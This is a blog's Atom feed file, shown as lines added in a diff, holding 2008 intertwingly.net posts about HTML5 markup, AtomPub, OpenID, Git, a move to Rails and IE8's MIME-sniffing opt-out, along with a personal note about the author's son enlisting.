+  <circle r="5" cx="52" cy="69" stroke="#EEE" fill='#138'/>
+</svg>
+<p>My son voluntarily enlisted in the <a href="http://www.airforce.com/">Air Force</a> yesterday.  He heads off for <a href="http://www.lackland.af.mil/">Basic Training</a> on October 28th.</p>
+<p>To be honest, that would not have been my first choice for him.  At a minimum, I would have preferred that he finish college first.  But in the end, it is his choice to make.  All that I can and did do as a parent is ensure that he had plenty of choices available to him.</p>
+<p>My maternal grandfather, my wife’s father and his three brothers all served in various armed forces.</p>
+<p>I’m not yet sure of the details, but apparently his assignment will involve the maintenance and service of on-board radar equipment.</p></div></content>
+    <updated>2008-07-11T04:52:48-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2867</id>
+    <link href="/blog/2008/07/10/Victim-of-Success"/>
+    <link rel="replies" href="2867.atom" thr:count="6" thr:updated="2008-07-10T16:04:17-04:00"/>
+    <title>Victim of Success</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="75" height="113" viewBox="0 0 75 113">
+<path d="M44,13c-42,39,-46,60-12,54c1-1,1,0,1,5c0,7,0,9,4,9c5,0,4-1,4-9c0,-4-1-8,0-9c2-9,0-11-7-7c-14,8,-26,4,2-21l14-14c8,-8,0,-15-7-7" fill="#838"/>
+<circle r="7" fill="#838" cx='38' cy='93'/>
+</svg>
+<p><a href="http://bitworking.org/news/333/distributed-version-control-ascendency"><cite>Joe Gregorio</cite></a>: <em>The rapid ascendency of distributed version control</em></p>
+<p>Anybody know where I can find a recent tarball for Mercurial?  The <a href="http://www.selenic.com/mercurial/wiki/index.cgi/Download">download site</a> appears to be down.</p></div></content>
+    <updated>2008-07-10T14:12:58-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2866</id>
+    <link href="/blog/2008/07/10/More-Minimalistic-Markup"/>
+    <link rel="replies" href="2866.atom" thr:count="10" thr:updated="2008-07-10T19:17:53-04:00"/>
+    <title>More Minimalistic Markup</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Continuing my <a href="http://intertwingly.net/blog/2008/06/24/Minimalist-Markup">minimalist markup</a> quest, I’ve converted <a href="http://rails.intertwingly.net/blog/2008/06/24/Minimalist-Markup">posts</a> to be <em>mostly</em> valid HTML5.  The overall structure is correct, but individual comments may only be well-formed but may contain deviations from validity.  Most posts will have no <code>span</code>, <code>div</code>, or <code>table</code> elements.  Over time, the hope is to make it so that all new comments are valid.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M38,38c0-12,24-15,23-2c0,9-16,13-16,23v7h11v-4c0-9,17-12,17-27c-2-22-45-22-45,3zM45,70h11v11h-11z" fill="#371"/>
+  <circle cx="50" cy="50" r="45" fill="none" stroke="#371" stroke-width="10"/>
+</svg>
+<p>Continuing my <a href="http://intertwingly.net/blog/2008/06/24/Minimalist-Markup">minimalist markup</a> quest, I’ve converted <a href="http://rails.intertwingly.net/blog/2008/06/24/Minimalist-Markup">posts</a> to be <em>mostly</em> valid HTML5.  The overall structure is correct, but individual comments may only be well-formed but may contain deviations from validity.  Most posts will have no <code>span</code>, <code>div</code>, or <code>table</code> elements.  Over time, the hope is to make it so that all new comments are valid.</p>
+<p>The <a href="http://html5.validator.nu/">HTML5 Validator</a> is currently down, so I proceeded to install a <a href="http://about.validator.nu/#src">local copy</a>.  Other than having to make the following change, all went smoothly.</p>
+<pre class="code">===================================================================
+--- build.py    (revision 58)
++++ build.py    (working copy)
+@@ -77,7 +77,7 @@
+   ("http://www.slf4j.org/dist/slf4j-1.4.3.zip", "5671faa7d5aecbd06d62cf91f990f80a"),
+   ("http://www.nic.funet.fi/pub/mirrors/apache.org/commons/fileupload/binaries/commons-fileupload-1.2-bin.zip", "6fbe6112ebb87a9087da8ca1f8d8fd6a"),
+ #  ("http://mirror.eunet.fi/apache/xml/xalan-j/xalan-j_2_7_1-bin.zip", "99d049717c9d37a930450e630d8a6531"),
+-  ("http://mirror.eunet.fi/apache/ant/binaries/apache-ant-1.7.0-bin.zip" , "ac30ce5b07b0018d65203fbc680968f5"),
++  ("http://archive.apache.org/dist/ant/binaries/apache-ant-1.7.0-bin.zip" , "ac30ce5b07b0018d65203fbc680968f5"),
+   ("http://surfnet.dl.sourceforge.net/sourceforge/iso-relax/isorelax.20041111.zip" , "10381903828d30e36252910679fcbab6"),
+   ("http://ovh.dl.sourceforge.net/sourceforge/junit/junit-4.4.jar", "f852bbb2bbe0471cef8e5b833cb36078"),
+   ("http://dist.codehaus.org/stax/jars/stax-api-1.0.1.jar", "7d436a53c64490bee564c576babb36b4"),</pre>
+<p>I’m also experimenting with hoisting the author’s name to a floating aside in the top right of each comment.</p>
+<p>Sections are used to group comments by days.  These groupings will adjust based on your local time zone.</p>
+<p>The pages themselves display reasonably consistently between the three browsers that I have been testing with (Firefox 3.0, Safari 3.1.2, Opera 9.5), and mostly differ in the amount of support they have for CSS-based rounded corners (full, partial, none; respectively).</p></div></content>
+    <updated>2008-07-10T00:37:31-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2865</id>
+    <link href="/blog/2008/07/07/Atom-Store-Interop"/>
+    <link rel="replies" href="2865.atom" thr:count="3" thr:updated="2008-07-09T00:31:55-04:00"/>
+    <title>Atom Store Interop</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" stroke-width="2" width="100" height="100" viewBox="-52 -53 100 100">
+ <g fill="none">
+  <ellipse stroke="#66899a" rx="6" ry="44"/>
+  <ellipse stroke="#e1d85d" rx="6" ry="44" transform="rotate(-66)"/>
+  <ellipse stroke="#80a3cf" rx="6" ry="44" transform="rotate(66)"/>
+  <circle  stroke="#4b541f" r="44"/>
+ </g>
+ <g fill="#66899a" stroke="white">
+  <circle fill="#80a3cf" r="13"/>
+  <circle cy="-44" r="9"/>
+  <circle cx="-40" cy="18" r="9"/>
+  <circle cx="40" cy="18" r="9"/>
+ </g>
+</svg>
+<p><a href="http://www.infoq.com/articles/atomserver"><cite>Bryon Jacob and Chris Berry</cite></a>: <em>AtomServer is an off-the-shelf implementation of an Atom Store. It is implemented as a Java web application, and should deploy into any J2EE Servlet Container. Under the covers, AtomServer uses the Apache Project’s open-source implementation of the Atom Protocol, called <a href="http://incubator.apache.org/abdera/">Abdera</a>, to process the RESTful verbs and XML vocabulary of Atom.</em></p>
+<p>I see that it has <a href="https://svn.codehaus.org/atomserver/tags/atomserver-2.0.1/src/test/">test cases</a>.  Good.</p>
+<p>If AtomServer is a framework extracted from <a href="http://www.homeaway.com/">Homeaway</a>, I wonder if a generic Atom Store test suite could be extracted from the AtomStore test cases.</p>
+<p>The thoughts are that perhaps it might be handy to have a Python one that can be deployed on <a href="http://code.google.com/appengine/">Google App Engine</a>, or a PHP version that could be run pretty much anywhere...</p></div></content>
+    <updated>2008-07-07T15:41:06-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2864</id>
+    <link href="/blog/2008/07/02/authoritative-true"/>
+    <link rel="replies" href="2864.atom" thr:count="49" thr:updated="2008-07-09T07:48:41-04:00"/>
+    <title>authoritative=true</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="105" height="95" viewBox="0 0 105 95">
+<path fill="#7B4" d="M106,13c-21,9-31,4-40-2l-10,35c9,6,20,11,40,2l10-35z"/>
+<path fill="#49c" d="M39,83c-9-6-18-10-39-2l10-35c21-9,31-4,39,2l-10,35z"/>
+<path fill="#E63" d="M51,42c-5-4-11-7-19-7c-6,0-12,1-20,5l10-35c20-8,30-4,39,2l-10,35z"/>
+<path fill="#FD5" d="M55,52c9,6,18,10,39,2l-10,35c-21,8-30,3-39-3l10-34z"/>
+</svg>
+<p><a href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx"><cite>Eric Lawrence</cite></a>: <em>we’ve provided web-applications with the ability to opt-out of MIME-sniffing. Sending the new authoritative=true attribute on the Content-Type HTTP response header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type</em></p>
+<p>While I’m not a fan of content-sniffing, one of my few pet peeves with HTML5 is that it endeavors to <a href="http://www.whatwg.org/specs/web-apps/current-work/#content-type3">institutionalize the practice</a> with no provisions for content providers to opt out.  As the lesser of the available evils, I hope Microsoft’s proposal is quickly adopted by other browsers.</p></div></content>
+    <updated>2008-07-02T21:37:10-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2863</id>
+    <link href="/blog/2008/06/30/June-31st"/>
+    <link rel="replies" href="2863.atom" thr:count="1" thr:updated="2008-06-30T20:51:55-04:00"/>
+    <title>June 31st</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="75" height="113" viewBox="0 0 75 113">
+<path d="M44,13c-42,39,-46,60-12,54c1-1,1,0,1,5c0,7,0,9,4,9c5,0,4-1,4-9c0,-4-1-8,0-9c2-9,0-11-7-7c-14,8,-26,4,2-21l14-14c8,-8,0,-15-7-7" fill="#838"/>
+<circle r="7" fill="#838" cx='38' cy='93'/>
+</svg>
+<p><a href="http://www.dehora.net/journal/2008/07/01/june-31st/"><cite>Bill de hÓra</cite></a>: <em>You’re seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 404 page.</em></p>
+<p><b>Update</b>: seems to be better now.  Will leave with <a href="http://www.dehora.net/journal/2008/07/">this</a> somewhat odd page.</p></div></content>
+    <published>2008-06-30T19:45:52-04:00</published>
+    <updated>2008-06-30T20:20:28-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2862</id>
+    <link href="/blog/2008/06/26/Unable-to-Complete-the-Call-as-Dialed"/>
+    <link rel="replies" href="2862.atom" thr:count="11" thr:updated="2008-06-30T21:48:09-04:00"/>
+    <title>Unable to Complete the Call as Dialed</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs">Tim Bray</a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="130" height="77" viewBox="0 0 130 77">
+  <path d="M2,12l8-6h11v11l-6,8zM62,12l8-6h11v11l-6,8zM2,62l8-6h11v11l-6,8zM62,62l8-6h11v11l-6,8z" fill="#fe898b"/>
+  <path d="M2,12h13v13h-13zM62,12h13v13h-13zM2,62h13v13h-13zM62,62h13v13h-13z" fill="#cb0612"/>
+
+  <path d="M23,12l8-6h29v11l-5,7h-4v9l-6,7zM59,68l-5,6l-30-11l6-7h3v-8l6-5h11v14h9z" fill="#52a9ff"/>
+  <path d="M23,12h32v12h-10v16h-12v-16h-10zM54,74h-30v-11h9v-15h12v15h9z" fill="#5c64b5"/>
+
+  <path d="M84,12l8-6c18-4,38,19,34,27l-5,6zM84,63c18,4,38,5,42-21h-12l-5,6c-2,14,-18,10-20,10z" fill="#87f7a2"/>
+  <path d="M84,12c20-5,41,15,37,27h-12c0-12-8-15-25-15zM84,75c20,3,41-15,37-27h-12c0,12-8,15-25,15z" fill="#18bf73"/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs"><cite>Tim Bray</cite></a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>When I was a young’un, <a href="http://en.wikipedia.org/wiki/North_American_Numbering_Plan#History">telephone area codes in North America</a> had a zero or a one a the middle digit, and none of the exchanges in such area codes had such.  This enabled telephone switching equipment to detect whether the number you were dialing was a local or long distance number without requiring a one to be dialed first.  Eventually, phone numbers became scarce, and this was ditched.</p>
+<p>This meant that the <abbr title="Private Branch eXchange">PBX</abbr> equipment in a number of locations were unable to make calls to these new numbers, and had to be replaced.</p>
+<p>The modern equivalent of this may be <a href="http://www.regular-expressions.info/email.html">email addresses</a>.  Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></content>
+    <updated>2008-06-26T20:42:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2861</id>
+    <link href="/blog/2008/06/24/Minimalist-Markup"/>
+    <link rel="replies" href="2861.atom" thr:count="32" thr:updated="2008-07-11T02:15:43-04:00"/>
+    <title>Minimalist Markup</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.</p>
+<p>My <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) will be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M38,38c0-12,24-15,23-2c0,9-16,13-16,23v7h11v-4c0-9,17-12,17-27c-2-22-45-22-45,3zM45,70h11v11h-11z" fill="#371"/>
+  <circle cx="50" cy="50" r="45" fill="none" stroke="#371" stroke-width="10"/>
+</svg>
+<p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.  I’m not sure when it changed, but Firefox 3.0, Safari 3.1.1, and Opera 9.5 now all support units of <em>em</em> in SVG dimensions.</p>
+<p>This means that my <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) can be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p>
+<p>I have more work to do on individual post pages and on the archives.  The archives will continue to employ a table for the calendar.</p></div></content>
+    <updated>2008-06-24T19:10:50-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2860</id>
+    <link href="/blog/2008/06/23/OpenID-Check-on-Rails"/>
+    <link rel="replies" href="2860.atom" thr:count="0"/>
+    <title>OpenID Check on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I need to somehow have the id of the unprocessed record tag alone with the identity request.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M43,90c-88,-16,-21,-86,41,-51l9,-6v17h-26l8,-5c-55,-25,-86,29,-32,36z" fill="#ccc"/>
+  <path d="M43,90v-75l14,-9v75z" fill="#f60"/>
+</svg>
+<p>Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it doesn’t seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I don’t need a ‘login’, instead I need to somehow have the id of the unprocessed record tag alone with the identity request.</p>
+<p>The <a href="http://www.danwebb.net/2007/2/27/the-no-shit-guide-to-supporting-openid-in-your-applications">No Shit Guide</a> is quite a bit simpler, but is based on the <a href="http://openidenabled.com/ruby-openid/">1.1.x version of the ruby-openid</a> library.</p>
+<p><a href="http://intertwingly.net/stories/2008/06/23/openid_controller.rb">This controller</a> contains a simpler pair of methods (one public, one protected) that does what I want and can easily be adapted.  Simply drop these two methods into your favorite controller and modify the actions that are taken at the obvious points (DiscoveryFailure, success, failure, cancel, other).  At the moment, all that is done is that the data is logged and/or stashed into a session, but it could easily be modified so that a failure or cancel could trigger moderation, or a required preview, or a captcha, or whatever.</p></div></content>
+    <updated>2008-06-23T15:20:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2859</id>
+    <link href="/blog/2008/06/19/Intertwingly-on-Git"/>
+    <link rel="replies" href="2859.atom" thr:count="4" thr:updated="2008-06-21T08:17:00-04:00"/>
+    <title>Intertwingly on Git</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">I’ve installed git and gitweb, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="120" height="70" viewBox="0 0 120 70">
+  <path d="M20,20h20m5,0h20m5,0h20" stroke="#c00000" stroke-width="10"/>
+  <path d="M20,40h20m5,0h20m5,0h20M30,30v20m25,0v-20m25,0v20" stroke="#008000" stroke-width="6"/>
+</svg>
+<p>I’ve installed <a href="http://git.or.cz/">git</a> and <a href="http://git.or.cz/gitwiki/Gitweb">gitweb</a>, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it:</p>
+<pre class="code">git clone http://code.intertwingly.net/public/git/riggr
+rake db:migrate
+rake test</pre>
+<p>Initial impressions:</p>
+<ul>
+<li>Git is <b>fast</b></li>
+<li>The integration with ssh and pre/post commit hooks makes even single developer apps a breeze.</li>
+</ul>
+
+<p>Links I found useful in the process: </p>
+<ul>
+<li><a href="http://autopragmatic.com/2008/01/26/hosting-a-git-repository-on-dreamhost/">Hosting a git repository on dreamhost</a></li>
+<li><a href="http://toolmantim.com/article/2007/12/5/setting_up_a_new_rails_app_with_git">Setting up a new Rails app with Git</a></li>
+<li><a href="http://ozmm.org/posts/git_post_commit_for_profit.html">Git post-commit for profit</a></li>
+<li><a href="http://tomayko.com/writings/the-thing-about-git">The Thing About Git</a></li>
+</ul></div></content>
+    <updated>2008-06-19T16:09:25-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2858</id>
+    <link href="/blog/2008/06/19/Atom-PubSub-module-for-ejabberd"/>
+    <link rel="replies" href="2858.atom" thr:count="1" thr:updated="2008-06-19T22:29:55-04:00"/>
+    <title>Atom-PubSub module for ejabberd</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="80" height="120" viewBox="0 0 80 120">
+  <path d="M9,15c-1,21,4,11,6,9c10-15,48-6,53,12c14,38-30,30-23,67c1,1,3,2,4-1c-10-29,44-25,22-70c-10-29-52-27-62-17z
+M18,80c5,6,13,9,20,6c3-1,3,1,2,3c-5,3-20,2-26-5c-5-5,0-12,4-4z
+M18,92c5,3,9,5,18,5c7-2,6,3,2,4c-5,2-20-3-22-6c-10-6-7-11,2-3z
+M18,103c5,3,15,7,20,4c5-3,7-1,2,2c-5,5-21,2-26-3c-8-5-3-13,4-3z" fill="#C00"/>
+  <path d="M20,64c-1-13,9-15,12-6c5-5,20-8,6,13c-3,5-5,4-4-1c13-15,2-13-3-8c-1-11-9-7-7,2c1,7-2,7-4,0z" fill="#fb0"/>
+</svg>
+<a href="http://www.cestari.info/2008/6/19/atom-pubsub-module-for-ejabberd"><cite>Eric Cestari</cite></a>: <em>This module will offer an AtomPub interface to ejabberd PubSub data... The AtomPub interface passes the Atom Protocol Exerciser (though some warnings remain).  It means that any AtomPub clients will be able to post to a specific node in your PubSub tree.  It also means that your PubSub tree will also be available as an AtomFeed.</em>  [via <a href="http://intertwingly.net/blog/2007/09/27/Comment-Notification-via-XMPP#c1213866387"><cite>kael</cite></a>]</div></content>
+    <updated>2008-06-19T06:35:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2857</id>
+    <link href="/blog/2008/06/16/Intertwingly-on-Rails"/>
+    <link rel="replies" href="2857.atom" thr:count="10" thr:updated="2008-07-04T07:46:07-04:00"/>
+    <title>Intertwingly on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#039" x="0" y="3" height="95" width="95" rx="15"/>
+  <path d='M20,56L19,35C19,30,27,20,33,21L55,21A30,30,0,0,1,20,56Z' fill='#369' stroke='#369' stroke-linejoin='round' stroke-width='5px'/>
+  <path d='M17,67A37,37,0,0,0,67,18A36,36,0,1,1,17,67' fill='#FFF'/>
+</svg>
+<p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p>
+<p>Installation would have been a simple <abbr title="Secure CoPy">scp</abbr> except for two issues: despite what it says in <a href="http://rails.dreamhosters.com/">this list</a>, the sqlite3-ruby gem does not appear to be installed.  And the current date on the machine appears to be Feb 15, 3155.</p>
+<p>For the model part, I can’t quite bear to break with the idea of flat files yet, so the model consists of two tables: posts and comments, and each contain dates and file name parts only.  The remainder of the model is populated using an after_find hook from the flat files.</p>
+<p>With my current Intertwingly, I had three views that had diverged over time, as well as a “partial” which contained the navigation bar.  The <a href="http://intertwingly.net/blog/">front page</a> (and <a href="http://intertwingly.net/blog/comments.html">comments page</a>) are clean XHTML5, <a href="http://intertwingly.net/blog/2008/06/13/Advertise-One-Feed-Format">individual posts</a> are XHTML1, and the <a href="http://intertwingly.net/blog/archives/">archives</a> are based a layout that I used back when I was on Radio Userland.  In the Rails implementation, I have four views and a layout (index and comments becoming separate views).  Having a common layout encourages consistency, and you can see the difference in the archive view already.  More work needs to be done on the individual posts view.</p>
+<p>The controller methods are positively pedestrian at this point.  They simply obtain the necessary information from the model, and then proceed to render the associated view.</p>
+<p>This is but a modest beginning... allowing people to enter new comments, openid, implementing spam avoidance measures, automated extraction of excerpts, ... the list goes on and on.  But first, I plan to put this code under version control (probably <a href="http://git.or.cz/">git</a>), and implement a test suite.</p></div></content>
+    <updated>2008-06-16T14:53:44-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2856</id>
+    <link href="/blog/2008/06/13/Advertise-One-Feed-Format"/>
+    <link rel="replies" href="2856.atom" thr:count="6" thr:updated="2008-06-16T14:54:38-04:00"/>
+    <title>Advertise One Feed Format</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#F80" x="0" y="3" height="95" width="95" rx="15"/>
+  <circle cx="18" cy="81" r="9" fill="#FFF"/>
+  <path d="M48,84s0-33-33-33 M75,84s0-60-60-60"
+    stroke-linecap="round" stroke-width="15" stroke="#FFF" fill="none"/>
+</svg>
+<p><a href="http://www.somebits.com/weblog/tech/bad/atom-vs-rss-wtf.html">Nelson Minar</a> starts a meme.  <a href="http://rc3.org/2008/06/13/pick-one-feed-format/">Rafe Colburn</a> waters it down.  I’ve watered it down even further.</p>
+<p>Whatever you call your feed, Safari will call it RSS.  Don’t sweat the small stuff.</p>
+<p>Which format should you pick?  I’d suggest that you pick whichever one that you can consistently produce with the fewest errors and warnings detected by the <a href="http://feedvalidator.org/">feedvalidator</a>.  Test with <a href="http://www.intertwingly.net/stories/2004/04/14/i18n.html">Iñtërnâtiônàlizætiøn</a> and <a href="http://www.intertwingly.net/blog/2006/07/14/Another-Month">ampersands</a> in titles.  <a href="http://groups.google.com/group/feedvalidator-users/browse_thread/thread/3dfdad4905b72f9b">June</a>, particularly in the <a href="http://www.timeanddate.com/library/abbreviations/timezones/eu/bst.html">UK</a> is also a good time to test.</p></div></content>
+    <updated>2008-06-13T20:42:30-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2855</id>
+    <link href="/blog/2008/06/11/RX-for-Pain"/>
+    <link rel="replies" href="2855.atom" thr:count="2" thr:updated="2008-06-12T11:34:06-04:00"/>
+    <title>RX for Pain</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M20,100l74-5l6-75zM61,35l37-2l-29-24z' fill='#b11'/>
+<path d='M21,100l74-5l-47-4zM98,33c4-12,5-29-14-33l-15,9l29,24z' fill='#811'/>
+<path d='M7,67l14,33l11-38z' fill='#d44'/>
+<path d='M29,61l42,13l-10-42zM56,0h28l-16,10zM1,51l-1,29l7-13z' fill='#c22'/>
+<path d='M32,61l39,13c-14,13-30,24-50,26z' fill='#a00'/>
+<path d='M61,35l10,39l17-23zM32,61l16,30c9-5,16-11,23-17l-39-13z' fill='#900'/>
+<path d='M61,35l27,17l10-20l-37,3z' fill='#800'/>
+<path d='M71,74l23,21l-6-44zM0,80c1,19,15,20,21,20l-14-33l-7,13zM7,67l-2,26c4,6,9,7,15,6c-4-11-13-32-13-32zM69,9l30,4c-1-7-6-11-15-13l-15,9z' fill='#911'/>
+<path d='M1,51l6,16l25-5l29-27l8-26l-13-9l-22,8c-6,7-20,19-20,19c-1,1-9,16-13,24z' fill='#ebb'/>
+<path d='M21,21c15-14,34-23,42-16c7,8-1,26-16,40c-14,15-33,24-41,17c-7-7,1-26,15-41z' fill='#b11'/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/10/RX-Work"><cite>Tim Bray</cite></a>: <em>There is quite a bit of disgruntlement about XML and Ruby right at this point in time</em></p>
+<p>I’m scheduled to give a <a href="http://en.oreilly.com/oscon2008/public/schedule/detail/2969">talk about this subject and more</a> at <a href="http://www.conferences.oreilly.com/oscon">OSCON</a> next month.  Short summary: if you are a markup geek (i.e., deal with things like HTML or XML), and expect things to “just work”, now is not a great time to be exploring Ruby 1.9.  The biggest issue is that <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17666&amp;group_id=494&amp;atid=1973">bug</a> <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17700&amp;group_id=426&amp;atid=1698">reports</a> and <a href="http://intertwingly.net/blog/2008/01/04/Builder-on-1-9">suggestions</a> don’t seem to attract the necessary cycles from the key developers.</p>
+<p>Hopefully, venues like OSCON can help draw attention to this important issue.</p></div></content>
+    <updated>2008-06-11T10:40:52-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2854</id>
+    <link href="/blog/2008/06/06/Sausages-and-Uncertainty"/>
+    <link rel="replies" href="2854.atom" thr:count="20" thr:updated="2008-06-11T18:44:14-04:00"/>
+    <title>Sausages and Uncertainty</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Yesterday we had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  I was asked about the status of the <a href="http://people.apache.org/~rubys/3party.html">ASF third party licensing policy</a>.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</div></summary>
